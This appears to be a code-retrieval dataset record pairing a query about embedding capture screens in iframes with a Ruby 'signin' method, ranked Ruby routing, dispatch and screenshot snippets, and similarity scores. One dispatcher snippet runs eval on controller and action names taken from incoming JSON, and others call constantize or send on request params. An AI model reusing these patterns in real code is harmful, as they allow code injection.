"def dispatch_to(controller_klass, action, params = {}, env = {}, &blk)\n params = merge_controller_and_action(controller_klass, action, params)\n dispatch_request(build_request(params, env), controller_klass, action.to_s, &blk)\n end",
"def run(req, res)\n match_data = @pattern.match(req.path)\n\n route_params = {}\n match_data.names.each do |name|\n route_params[name] = match_data[name]\n end\n\n @controller_class.new(req, res, route_params).invoke_action(action_name)\n end",
"def index\n\n respond_to do |format|\n # this is the catch-all route to redirect unknown routes to our app root, but it's\n # only meant to handle requests for html pages\n format.html {\n\n @mobile_os = detect_mobile_os\n # redirect to mobile web if on amazon platform\n if @mobile_os == :amazon\n redirect_to('/amazonapp' ) and return\n elsif (@mobile_os == :windows) and !user_signed_in?\n redirect_to('/get-started' ) and return\n end\n\n #XXX .TV subdomains\n # This is such a hack. I'd like to detect this in routes.rb and handle by sending to another\n # controller, but until that's built, we just short-circuit right here\n if dot_tv_roll = get_dot_tv_roll_from_domain(request)\n user = Shelby::API.get_user(dot_tv_roll['creator_id'])\n frame_id = get_frame_from_path(params[:path])\n\n unless frame_id\n # if no frame was specified, this points to the user's roll, which is now at the user's \"profile\", shelby.tv/the-users-nickname\n redirect_to \"#{Settings::Application.protocol_matching_url}/#{user['nickname']}\", :status => :moved_permanently and return\n else\n # if a frame was specified this is a link to a specific frame on the user's roll\n redirect_to \"#{Settings::Application.protocol_matching_url}/roll/#{dot_tv_roll['id']}/frame/#{frame_id}\", :status => :moved_permanently and return\n end\n end\n\n path = params[:path]\n # if the path is just a user name, this is the route for a user profile, so get the\n # necessary view instance variables and render\n if path && !Settings::Application.root_paths.include?(path) && !path.include?('/')\n user = Shelby::API.get_user(path)\n\n if user\n @user = user\n @roll = Shelby::API.get_roll_with_frames(@user['personal_roll_id'], '') if @user\n render '/home/app' and return\n else\n raise ActionController::RoutingError.new(\"Not Found\")\n end\n end\n\n if user_signed_in?\n render '/home/app'\n else\n # Consider errors and render landing page\n @auth_failure = params[:auth_failure] == '1'\n @auth_strategy = params[:auth_strategy]\n @access_error = params[:access] == \"nos\"\n @invite_error = params[:invite] == \"invalid\"\n @status = params[:status]\n @mobile_os = detect_mobile_os\n @is_mobile = is_mobile?\n\n\n if flash[:user_errors]\n @user_attributes = flash[:user_attributes]\n @email_error = flash[:user_errors_email]\n @nickname_error = flash[:user_errors_nickname]\n end\n\n view_context.get_info_for_meta_tags(params[:path])\n\n # if @mobile_os\n # render '/mobile/search', :layout => 'mobile'\n # else\n\n # A/B tests\n #@landing_messaging_v2 = ab_test :landing_messaging_v2\n #@signup_on_landing = ab_test :signup_on_landing\n #@signup_w_fb = ab_test :signup_w_fb\n #@onboarding_first_step = ab_test :onboarding_first_step\n\n render '/home/landing'\n end\n\n }\n # if we hit this as the catch-all while looking for an image or some other special format,\n # we can't render anything appropriate so send a 404\n format.any {\n head :not_found\n }\n end\n end",
"def action_for_message_context(context)\n action = context.to_s\n return action if action_method?(action)\n raise AbstractController::ActionNotFound,\n \"The context action '#{action}' is not found in #{self.class.name}\"\n end",
"def do_dispatch(env)\n path = env['PATH_INFO']\n\n # Try to serve a public file\n ret = dispatch_public(env, path)\n return ret if not ret.nil?\n\n log.debug \"Checking for routes that match: #{path}\"\n route = router.match(env)\n\n if route.has_key? :ok\n dispatch_controller(route, env)\n else\n [404, {\"Content-Type\" => \"text/plain\"}, [\"404 Not Found: #{path}\"]]\n end\n end",
"def dispatch(msg)\n ActiveRecord::Base.establish_connection(Serv::Configuration::database_configuration)\n\n msg = JSON.parse(msg)\n \n controller = msg['controller']\n action = msg['action']\n params = msg['params']\n session_id = msg['session_id']\n \n log \"[REQUEST] - [controller: #{controller},\" + \" action: #{action}, \" + \" params: #{params}]\"\n \n if !params.nil?\n args = \"params\"\n else\n args = nil\n end\n \n # Metaprogramming code that will dyamically call the requested controller\n # and method\n result = nil\n eval %Q(\n session = get_session(session_id)\n \n if !session.nil?\n request = #{controller.camelize}Controller.new\n request.instance_variable_set(:@session, session)\n request.instance_variable_set(:@game_mq, @game_mq)\n request.extend(Broker::Commands)\n \n result = if args.nil?\n request.#{action}\n else\n request.#{action}(#{args})\n end\n else\n raise Interrupt\n end\n )\n respond_success(result)\n rescue ArgumentError\n respond_error(Errors::ERR_ARGUMENT_ERROR, $!)\n rescue Interrupt\n respond_error(Errors::ERR_INVALID_SESSION, $!)\n rescue\n respond_error(Errors::ERR_GENERIC, $!)\n ensure\n ActiveRecord::Base.connection.disconnect!\n #ActiveRecord::Base.verify_active_connections!\n end",
"def active_responder\n action_responder(action_name)\n end",
"def set_controller_and_action(to)\n if to\n controller_and_action = to.split \"#\"\n @controller_name = controller_and_action.shift\n @action_name = controller_and_action.shift || \"index\"\n end\n end",
"def select_render action=nil\n # defaults to current action, though another may be specified, even a full path\n \"#{action || @action}_\"+\n case\n when injector?\n \"injector\"\n when dialog?\n \"modal\"\n else\n \"page\"\n end\n end",
"def run(req, res)\n match_data = pattern.match(req.path)\n # hash = {}\n # match_data.names.each do |name|\n # hash[name] = match_data[name]\n # end\n hash = match_data.names.each_with_object({}) do |name, h|\n h[name] = match_data[name]\n end\n controller_class.new(req, res, hash).invoke_action(action_name)\n end",
"def render_action(action, params)\n send(action, params)\n \n rescue RenderExit, ActionExit => e1\n # Just stop rendering. \n \n rescue ActionError => e2\n # Client Error family of errors, typically send 4XX\n # status code.\n handle_error(e2, 404)\n error e2.to_s\n \n rescue Object => e3\n # Server Error family of errors, typically send 5XX\n # status code. \n handle_error(e3, 500)\n error \"Error while handling #{self.class}##{action.to_s.gsub(/___super$/, '')}(#{params.join(', ')})\"\n error pp_exception(e3)\n end",
"def lookup_action\n action = template.controller.action_name\n return unless action\n action = action.to_sym\n ACTIONS[action] || action\n end",
"def invoke *args, &proc\n\n if args.size == 0\n error 500, '`%s` expects an action(or an app and action) to be provided' % __method__\n end\n\n app = ::AppetiteUtils.is_app?(args.first) ? args.shift : self.class\n\n if args.size == 0\n error 500, 'Beside app, `%s` expects an action to be provided' % __method__\n end\n\n action = args.shift.to_sym\n route = app[action] || error(404, '%s app does not respond to %s action' % [app, action])\n rest_map = app.url_map[route]\n env.update 'SCRIPT_NAME' => route\n\n if args.size > 0\n path, params = '/', {}\n args.each { |a| a.is_a?(Hash) ? params.update(a) : path << a.to_s << '/' }\n env.update 'PATH_INFO' => path\n params.size > 0 &&\n env.update('QUERY_STRING' => build_nested_query(params))\n end\n app.new(nil, rest_map).call env, &proc\n end",
"def dispatch(*_arg0); end",
"def dispatch(name = :default, &block)\n target_queue = @dispatcher[name] ||= Pigeon::Dispatcher.new(name == :default ? nil : 1)\n \n target_queue.perform(&block)\n end",
"def dispatch(params, adapter)\n # TODO: Add priority support\n selected = @routes.each do |route|\n break route if route.match?(params)\n end\n reply = unless selected.is_a?(Array)\n selected.dialog.new(params, adapter).process\n else\n Message::Text.new(@not_found.call)\n end\n Doll.config.adapters[adapter].reply(params, reply)\n end",
"def run(req, res)\n if matches?(req)\n controller = @controller_class.new(req, res)\n controller.send(@action_name)\n end\n end",
"def dispatch_exception(request, response, exception)\n klass = Exceptions rescue Controller\n request.params[:original_params] = request.params.dup rescue {}\n request.params[:original_session] = request.session.dup rescue {}\n request.params[:original_cookies] = request.cookies.dup rescue {}\n request.params[:exception] = exception\n request.params[:action] = exception.name\n dispatch_action(klass, exception.name, request, response, exception.class::STATUS)\n rescue => dispatch_issue\n dispatch_issue = controller_exception(dispatch_issue) \n # when no action/template exist for an exception, or an\n # exception occurs on an InternalServerError the message is\n # rendered as simple text.\n # ControllerExceptions raised from exception actions are \n # dispatched back into the Exceptions controller\n if dispatch_issue.is_a?(ControllerExceptions::NotFound)\n dispatch_default_exception(klass, request, response, exception)\n elsif dispatch_issue.is_a?(ControllerExceptions::InternalServerError)\n dispatch_default_exception(klass, request, response, dispatch_issue)\n else\n exception = dispatch_issue\n retry\n end\n end",
"def invoke_action(name)\n check_authenticity_token unless req.request_method == 'GET'\n self.send(name)\n self.render(name.to_s) unless already_built_response?\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def run(req, res)\n if matches?(req)\n controller_instance = controller_class.new(req, res, route_params(req))\n controller_instance.invoke_action(action_name)\n else\n # extra precaution! won't be hit if `Router#run` is used\n res.status = 404\n res.write(\"No route matches for #{http_method} on #{controller_class}\")\n end\n end",
"def _dispatch(action)\n _run_filters(:before, action)\n response = send(action)\n _run_filters(:after, action)\n response\n end",
"def _dispatch(action=:to_s)\n hook :before_dispatch\n self.action_name = action\n \n caught = catch(:halt) do\n start = Time.now\n result = _call_filters(_before_filters.reverse)\n @_benchmarks[:before_filters_time] = Time.now - start if _before_filters\n result\n end\n \n @body = case caught\n when :filter_chain_completed then _call_action(action_name)\n when String then caught\n when nil then _filters_halted\n when Symbol then send(caught)\n when Proc then caught.call(self)\n else\n raise MerbControllerError, \"The before filter chain is broken dude. wtf?\"\n end\n start = Time.now\n _call_filters(_after_filters) \n @_benchmarks[:after_filters_time] = Time.now - start if _after_filters\n hook :after_dispatch\n end",
"def handle_action\n timeline_item = find_timeline_item(self.glass_item_id)\n\n # TODO: Should we uniq these? When glass doesn't have connection, it will queue up\n # actions, so users might press the same one multiple times.\n user_actions.uniq.each do |user_action|\n type = user_action[:type] == \"CUSTOM\" ? user_action[:payload] : user_action[:type]\n json_to_return = self.reply_request_hash ? self.reply_request_hash : self.params\n timeline_item.send(\"handles_#{type.downcase}\", json_to_return)\n end if user_actions\n end",
"def dispatcher\n endpoint_dispatch(params[:address])\n end",
"def dispatcher\n @dispatcher ||= blank_context(:this => self) do\n def method_missing(sym, *args, &block)\n @this.doc_ready!\n [@this, @this.doc].each do |context|\n next unless context.respond_to?(sym)\n return context.send(sym, *args, &block)\n end\n super # raise NoMethodError if no context can handle\n end\n end\n end",
"def run(x, app, act, meth, args=[])\n if @runs[app.to_sym][act][meth.to_sym]\n begin\n @runs[app.to_sym][act][meth.to_sym][x, *args]\n rescue ArgumentError => e\n if Waxx['debug']['on_screen']\n error(x, status: 405, type: \"request\", title: \"Argument Error\", message: \"#{e.to_s}\\n\\n#{e.backtrace.join(\"\\n\")}\")\n else\n Waxx.debug e\n App.not_found(x)\n end\n end\n elsif @runs[app.to_sym][act][:run]\n begin\n @runs[app.to_sym][act][:run][x, *args]\n rescue ArgumentError => e\n if Waxx['debug']['on_screen']\n error(x, status: 405, type: \"request\", title: \"Argument Error\", message: \"#{e.to_s}\\n\\n#{e.backtrace.join(\"\\n\")}\")\n else\n Waxx.debug e\n App.not_found(x)\n end\n end\n else\n error(x, status: 405, type: \"request\", title: \"Method Not Implemented\", message: \"The HTTP method requested is not implemented for this interface.\")\n end\n end",
"def perform_hook action, html\n\n # => Filter/Action\n # => This is designed to figure out whether it's a filter or action being declared\n method_name = __callee__\n\n # => Fire Hook\n # => These fire for whichever the user has defined\n case action.to_sym\n when :pre_render\n output = liquid html, layout: :application, locals: { app: AppDrop.new, user: (UserDrop.new(current_user) if current_user), flash: (FlashDrop.new(flash) if flash.keys.any?) }\n end\n\n # => Fire other hooks\n # => This allows us to iterate over the various hooks that exist\n if settings.hooks[action.to_s]\n settings.hooks[action.to_s].sort_by(&:priority).each do |hook|\n (method_name.to_s.include?('filter')) ? output = hook.function.call(output) : hook.function.call(output)\n end\n end\n\n # => Return\n # => This returns outputted data to the main script\n return output\n\n end",
"def dispatch(type, msg, bot)\n $log.debug \"Received a message of type #{type}\"\n\n type = type.to_s\n if(msg and msg.message =~ COMMAND_RX) then\n dispatch_command(msg, type, bot)\n else\n dispatch_hooks(msg, type, bot)\n end\n end",
"def only_render_implemented_actions\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n raise AbstractController::ActionNotFound unless action_methods.include?(params[:action])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n end",
"def invoke_action(name)\n end",
"def invoke_action(name)\n end",
"def screen\n return @screen if defined?(@screen)\n\n if screen_class = (params[:screen].constantize rescue nil) || self.class.screen_classes.first\n # if params[:screen]\n # if self.class.screen_classes.find {|sc| params[:screen].constantize <= sc } # Check if subclass or class itself.\n # params[:screen].classify.safe_constantize\n # else\n # raise \"Can't find a proper screen for the controller\"\n # end\n # else\n # self.class.screen_classes.first\n # end\n @screen = screen_class.new(params, self)\n end\n end",
"def invoke_action(name)\n end",
"def _dispatch(action, match)\n # match parameter names to indices of match information\n arguments = action.parameters.map do |parameter|\n parameter_name = parameter[1].to_s\n\n if match.key? parameter_name\n match[parameter_name]\n else\n # check for the normalized name of every match to see\n # if it fits the parameter name\n match.each do |name, value|\n normalized_name = _normalize name\n\n if parameter_name == normalized_name\n break value\n end\n end\n end\n end\n\n action.call(*arguments)\n end",
"def run(req, res)\n route_params = {}\n\n match_data = @pattern.match(req.path)\n match_data.names.each do |key|\n route_params[key] = match_data[key]\n end\n\n controller = @controller_class.new(req, res, route_params)\n controller.invoke_action(@action_name)\n end",
"def invoke_action(name)\n check_authenticity_token if self.class.protect_from_forgery? && !get_request?\n\n send( name )\n render( name ) unless already_built_response?\n end",
"def draw\n begin \n clear!\n mapper = Mapper.new(self)\n mapper.spackle_esi \"/spackle/:controller/:action/*extras\"\n yield mapper\n named_routes.install\n rescue\n raise\n end\n end",
"def route\n @base_controller.route if @base_controller\n end",
"def dispatch env\n raise Gin::NotFound,\n \"No route exists for: #{env[REQ_METHOD]} #{env[PATH_INFO]}\" unless\n env[GIN_TARGET]\n\n env[GIN_APP] = self\n env[GIN_TARGET][0].call(env)\n\n rescue ::Exception => err\n handle_error(err, env)\n end",
"def run(req, res)\n route_params = self.make_match_hash(req)\n controller = @controller_class.new(req, res, route_params)\n controller.invoke_action(@action_name)\n end",
"def execute_handler params={},path=nil\n case @type\n when :handlers\n @handlers.each do |handler_ident|\n handler = @context_ref.handlers.fetch(handler_ident) {raise \"handler #{handler_ident} doesn't exist in context #{@context_ref.ref}\"}\n component = handler.(params,path||@url,&:call)\n Context.current_context = @context_ref.ref\n if component.class == Proc\n component.call\n else\n Context.renderer.call(component,handler_ident)\n end\n Context.current_context = :no_context\n end\n when :context\n Context.wipe\n Context.render handlers\n History.push(@context_ref.ref,\"\",[],@context_ref.ref)\n end\n end",
"def find_action(apicall)\n if apicall[:output_format] == \"Rich Text\" \n action = \"rtf\" \n elsif apicall[:output_format] == \"HTML\" \n action = \"show\" \n end \n return action\n end",
"def defaults\n\t\t\t\trest\n\n\t\t\t\t@controller.actions.each do |action|\n\t\t\t\t\tget action unless find_reverse_route(action)\n\t\t\t\tend\n\n\t\t\t\tmount_nested_controllers if @mount_nested && (\n\t\t\t\t\t@controller.demodulize == 'IndexController' &&\n\t\t\t\t\t!@namespace_name.empty?\n\t\t\t\t)\n\t\t\tend",
"def hookname(context)\n context[:controller].send(:render_to_string, {:locals => context, :partial => '_view_file'})\n end",
"def run(request, response)\n\n match_data = @pattern.match(request.path)\n\n route_params = Hash[match_data.names.zip(match_data.captures)]\n\n @controller_class\n .new(request, response, route_params)\n .invoke_action(action_name)\n end",
"def dispatch_action(req)\n controller = ROUTE_TO_CONTROLLER[req.path_info]\n raise Heartcheck::Errors::RoutingError if controller.nil?\n\n Logger.info \"Start [#{controller}] from #{req.ip} at #{Time.now}\"\n\n controller.new.index.tap do |_|\n Logger.info \"End [#{controller}]\\n\"\n end\n end",
"def map route_object\n klass = nil\n route = nil\n action = nil\n\n # map 'root' do\n # ...\n if block_given?\n @lux_action_target = route_object\n yield\n @lux_action_target = nil\n return\n elsif @lux_action_target\n klass = @lux_action_target\n route = route_object\n action = route_object\n\n # map :foo => :some_action\n if route_object.is_a?(Hash)\n route = route_object.keys.first\n action = route_object.values.first\n end\n\n if test?(route)\n call klass, action\n else\n return\n end\n end\n\n case route_object\n when String\n # map 'root#call'\n call route_object\n when Hash\n route = route_object.keys.first\n klass = route_object.values.first\n\n if route.class == Array\n # map [:foo, :bar] => 'root'\n for route_action in route\n if test?(route_action)\n call klass, route_action\n end\n end\n\n return\n elsif route.is_a?(String) && route[0,1] == '/'\n # map '/skils/:skill' => 'main/skills#show'\n return match route, klass\n end\n when Array\n # map [:foo, 'main/root']\n route, klass = *route_object\n else\n Lux.error 'Unsupported route type \"%s\"' % route_object.class\n end\n\n test?(route) ? call(klass) : nil\n end",
"def action_routes action\n request_methods, route = REQUEST_METHODS, action.to_s\n REQUEST_METHODS.each do |m|\n regex = /\\A#{m}_/i\n if route =~ regex\n request_methods = [m]\n route = route.sub regex, ''\n break\n end\n end\n\n route.size == 0 && raise('wrong action name \"%s\"' % action)\n\n path_rules.keys.sort.reverse.each do |key|\n route = route.gsub(key.is_a?(Regexp) ? key : /#{key}/, path_rules[key])\n end\n\n pages, dirs = [], []\n path = rootify_url(base_url, route)\n pages << {nil => [path, nil]}\n dirs << {nil => [rootify_url(base_url), path]} if route == APPETITE__INDEX_ACTION\n\n ((@action_aliases||{})[action]||[]).each do |url|\n pages << {nil => [rootify_url(base_url, url), nil]}\n end\n\n canonicals.each do |c|\n canonical_path = rootify_url(c, route)\n pages << {nil => [canonical_path, path]}\n dirs << {nil => [rootify_url(c), path]} if route == APPETITE__INDEX_ACTION\n end\n pages.each do |page|\n format?(action).each { |format| page[format] = page[nil].first + format }\n end\n [request_methods, pages + dirs].freeze\n end",
"def render_action(attrs)\n controller_name = attrs[:controller] || self.controller_class.controller_name\n action_name = attrs[:action]\n @controller.action_name = action_name\n prepare_data\n self.instance_variables.collect{|v| @assigns[v[1..-1]] = self.instance_eval(\"#{v}\")}\n render_opts = {:file => \"#{controller_name}/#{action_name}\"}\n render_opts[:layout] = \"layouts/\" + (attrs[:layout] || 'application')\n\n view_html = @view.render(render_opts)\n set_response_text(view_html)\n end",
"def route_to(klass_or_name, action)\n RouteToMatcher.new(klass_or_name, action)\n end",
"def handle_response_display(last_action_by_player)\n\t\tif @game.play_status == StatusType::STANDARD_PLAY\n\t\t\tif last_action_by_player\n\t\t\t\trender :action => :show_play_complete_player\n\t\t\telse\n\t\t\t\trender :action => :show_play_complete_application\n\t\t\tend\n\t\telsif @game.play_status == StatusType::PLAYER_WON\n\t\t\trender :action => :show_game_over_player_won\n\t\telsif @game.play_status == StatusType::APPLICATION_WON\n\t\t\trender :action => :show_game_over_application_won\n\t\telsif @game.play_status == StatusType::EQUALIZED\n\t\t\trender :action => :show_game_over_equalized\n\t\telse\n\t\t\t# should never occur\n\t\t\tlogger.info ' -- handle_response_display general error '\n\t\t\trender_show_server_error\n\t\tend\n\tend",
"def action_responder(name_of_action)\n action_responders[name_of_action.to_sym]\n end",
"def call_action(handler, params, query_params)\n controller_name, action_name = handler.split('#')\n controller_class = lookup_controller(controller_name)\n controller = controller_class.new(self, params, query_params)\n controller.execute_action(action_name)\n end",
"def method_for_action(action_name)\n if action_method?(action_name)\n action_name\n elsif respond_to?(:action_missing, true)\n \"_handle_action_missing\"\n end\n end",
"def dispatch!\n \n # negotiates initial configuration\n @meta = self.negotiate!\n \n # dispatches hash set to the server\n self.dispatch_hashing!\n self.dispatch_hashset!\n \n # dispatches orders\n self.dispatch_orders!\n \n # dispatches messages\n self.handle_messages!\n \n end",
"def current_dispatcher\n @current_dispatcher ||= Dispatcher.find(session[:dispatcher_id]) if session[:dispatcher_id]\n end",
"def _find_action_name(action_name); end",
"def dispatch_to_handler(method, *args)\n if Creatary.consumer_handler.nil?\n LOGGER.error 'Application has not configured the Creatary consumer_handler'\n raise InvalidConsumerHandler.new 'Application has not configured the Creatary consumer_handler'\n end\n \n if Creatary.consumer_handler.respond_to?(method)\n begin\n return Creatary.consumer_handler.send(method, *args)\n rescue Creatary::Error => error\n LOGGER.error 'Application has suffered an internal error: ' + error.message + ', ' + error.body\n raise error\n end\n end\n \n end",
"def init_render_on_dispatch_hook\n @app.on_dispatch do |old_state, new_state|\n render! unless old_state.equal?(new_state)\n end\n end",
"def method_missing(method_sym, *arguments, &block)\n\n if method_sym.to_s =~ /^(.*)_screen$/\n class_name = $1.camel_case\n variable_name = \"@#{class_name}\".to_sym\n\n # If we haven't asked for this screen before, create it.\n # Otherwise return the existing instance\n if self.instance_variable_defined? variable_name\n instance = self.instance_variable_get variable_name\n else\n start_app_if_needed\n instance = class_with_name class_name\n self.instance_variable_set variable_name, instance\n end\n\n # Always return the instance we just created/accessed\n instance\n\n else\n super\n end\n\n end",
"def verb_for_action\n SkinnyControllers.action_map[action_name] || SkinnyControllers.action_map['default']\n end",
"def method_for_action(action_name)\n if action_method?(action_name) then action_name\n elsif respond_to?(:action_missing, true) then \"_handle_action_missing\"\n end\n end",
"def handle_routes\n instance_exec(@_roda_app.request, &self.class.router_block)\n end",
"def fabricate(action_name)\n Ethon::Easies::Http.const_get(action_name.to_s.capitalize)\n end",
"def process_action(site, action_path, env, format)\n namespace, *parts = action_path.split(S::Constants::SLASH)\n path = \"/\" << parts.join(S::Constants::SLASH)\n env[S::Constants::PATH_INFO] = path\n run_controller(site, namespace, env, format)\n end"
] |
[
"0.6072325",
"0.5977636",
"0.5609077",
"0.55966645",
"0.5523472",
"0.5400321",
"0.5369532",
"0.5354395",
"0.5312287",
"0.5298134",
"0.5272304",
"0.524332",
"0.5194301",
"0.5178822",
"0.5178822",
"0.51294446",
"0.50959474",
"0.5073871",
"0.5067447",
"0.5044979",
"0.5040055",
"0.49939987",
"0.49708128",
"0.49446675",
"0.49339464",
"0.4932213",
"0.49307635",
"0.4927709",
"0.49032435",
"0.48967946",
"0.48937935",
"0.4882272",
"0.4866467",
"0.48289138",
"0.48206183",
"0.48197356",
"0.4817488",
"0.48143026",
"0.48045087",
"0.48022678",
"0.47911534",
"0.478813",
"0.47718775",
"0.4770533",
"0.4763376",
"0.47590122",
"0.47445643",
"0.47443035",
"0.47353446",
"0.4727545",
"0.47134286",
"0.47034582",
"0.46956056",
"0.46956056",
"0.46947083",
"0.4681358",
"0.4680202",
"0.4679668",
"0.46751797",
"0.4674831",
"0.46703565",
"0.46679813",
"0.46629298",
"0.46568483",
"0.4654168",
"0.4654168",
"0.4653914",
"0.46530467",
"0.4652678",
"0.4644708",
"0.464303",
"0.4639838",
"0.46381822",
"0.4637338",
"0.46326175",
"0.46323517",
"0.4631524",
"0.462506",
"0.46207806",
"0.46189275",
"0.4614717",
"0.4614038",
"0.46133816",
"0.46097836",
"0.45927504",
"0.45909277",
"0.45855772",
"0.4584989",
"0.45824742",
"0.4581277",
"0.45721674",
"0.45721194",
"0.4571055",
"0.45697066",
"0.45665723",
"0.45664307",
"0.45603544",
"0.4556815",
"0.4552534",
"0.4549393"
] |
0.730287
|
0
|
these are shils for capture screens. they embed capture screens within an iframe in the page.
|
def signin
embed_screen api_args.select_keys("redirect_uri", "client_id", "response_type")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def embed_screen(params = {})\n @iframe_src = screen_uri(params)\n render \"iframe\"\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n screenCaptureBtn = Element.new(\"Capture Screen Button\", \":Form.captureScreenButton_QPushButton\")\n screenCaptureBtn.click\n snooze 1\n ScreenCapturePopup.new.saveScreenshot(filename, hidePatientDetails)\n end",
"def screenshot path = '~/Desktop'\n capture_screen self, path\n end",
"def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end",
"def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end",
"def iframe\n end",
"def take_screenshot(scenario)\r\n screen_name = \"log/screens/\" +scenario.name+\".png\"\r\n page.save_screenshot(screen_name) rescue nil\r\n embed(screen_name, 'image/png') rescue nil\r\nend",
"def iframes; end",
"def frames; end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def XOtakeScreenShot()\n\t\tbegin\n\t\t\tif(@brTypeSym== :chrome)\n\t\t\t\twidth = @wwBrws.execute_script(\"return Math.max(document.body.scrollWidth, document.body.offsetWidth, document.documentElement.clientWidth, document.documentElement.scrollWidth, document.documentElement.offsetWidth);\")\n\t\t\t\theight = @wwBrws.execute_script(\"return Math.max(document.body.scrollHeight, document.body.offsetHeight, document.documentElement.clientHeight, document.documentElement.scrollHeight, document.documentElement.offsetHeight);\")\n#\n# Add some pixels on top of the calculated dimensions for good\n# measure to make the scroll bars disappear\n#\n\t\t\t\t@wwBrws.window.resize_to(width+100, height+100)\n\t\t\tend\n\n\t\t\timgName= $gcfd.report_path+@wwBrws.url.tr(\" =%?*/\\\\:&~\",'_')[0..100]+Time.now.to_i.to_s+'.png'\n\t\t\t@wwBrws.screenshot.save imgName\n\t\t\t@screenList << imgName\n\t\t\t$alog.lwrite(('Image saved in '+imgName), 'DEBG')\n\t\t\tres= OK\n\t\trescue\n\t\t\t$alog.lwrite('Problems taking screenshots: '+$!.to_s, 'ERR_') \t\t\t\t#\n\t\t\tres= CRITICAL\n\t\tend\n\t\treturn res\n\tend",
"def flash_image_inside_frame(browser_handle, frame_prop, frame_prop_val, image_prop, image_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).image(image_prop.intern, /#{image_prop_val}/).flash\nend",
"def display(screen)\n\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def save_screenshot_embed(screenshot, id)\n if driver\n driver.save_screenshot(screenshot)\n embed(screenshot, 'image/png', \"Screenshot #{id}\")\n end\nend",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def saos\n save_and_open_screenshot\n end",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def frm\n self.frame(:src=>/sakai2forums.launch.html/)\n end",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def screencapture(out_folder:, out_file: nil)\n path = \"/plugin_inspect\"\n conn = multipart_connection\n payload = {\n mysubmit: \"Screenshot\",\n passwd: @dev_password,\n archive: Faraday::UploadIO.new(File::NULL, 'application/octet-stream')\n }\n response = conn.post path, payload\n\n path = /<img src=\"([^\"]*)\">/.match(response.body)\n return false unless path\n path = path[1]\n unless out_file\n out_time = /time=([^\"]*)\">/.match(response.body)\n out_ext = /dev.([^\"]*)\\?/.match(response.body)\n out_file = \"dev_#{out_time[1]}.#{out_ext[1]}\" if out_time and out_ext\n out_file = \"dev.jpg\" unless out_file\n end\n\n conn = simple_connection\n\n response = conn.get path\n\n File.open(File.join(out_folder, out_file), \"wb\") do |io|\n io.write(response.body)\n end\n @logger.info \"Screen captured to #{File.join(out_folder, out_file)}\"\n return response.success?\n end",
"def screenshot rect = CGRect.new(CGPoint.new(0, 0), CGSize.new(-1, -1)),\n path = '~/Desktop'\n require 'accessibility/screen_shooter'\n ScreenShooter.shoot rect.to_rect, path\n end",
"def screenshot_large\n screenshot()\n end",
"def take_screenshot(scenario)\r\n scenario_name = \"#{scenario.name}_step\"\r\n sshot_name = \"log/screens/\" + scenario_name +\".png\"\r\n @browser.screenshot.save(sshot_name) rescue nil\r\n embed(sshot_name, 'image/png') rescue nil\r\nend",
"def work_profile_block_screen_capture\n return @work_profile_block_screen_capture\n end",
"def frame_step \n send_cmd(\"frame_step\")\n end",
"def screenshot(name=\"screenshot\")\n page.driver.render(\"public/#{name}.jpg\",full: true)\n end",
"def screenshot_small\n screenshot(:small)\n end",
"def full_screen; end",
"def start_screen_appear\n mp \"bringing up start screen\"\n start_screen_video\n view_object.addStartscreenappearAnimationReverse(false, totalDuration: 0.5)\n #view_object.addDialselection5to1AnimationReverse(false, totalDuration: 0.5)\n cueserver.spectrum_1\n end",
"def realizarCapturaDePantalla\n self.getBrowser().screenshot.save(\"#{GEDORUTASCREENSHOT}GEDO_#{DateTime.now.strftime(\"%Y-%b-%d_%H%M%S\")}.png\")\n end",
"def frame; end",
"def frame(options)\n set RGhost::Frame.new(options)\n end",
"def take_screenshot(_scenario)\n screenshot_dir = \"#{FigNewton.screenshot_directory}/#{$date_and_time}\"\n FileUtils.mkdir screenshot_dir unless File.directory? screenshot_dir\n encoded_img = @browser.driver.screenshot_as(:base64)\n embed(\"data:image/png;base64,#{encoded_img}\", 'image/png')\nend",
"def replace_external_frame\n end",
"def switch_frame(frame_name)\n begin\n $driver.switch_to.frame frame_name\n rescue Exception => e\n $LOG.error \" frame_name : #{frame_name} \"+e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"\\n frame_name : #{frame_name} \"+e.message\n end\n end",
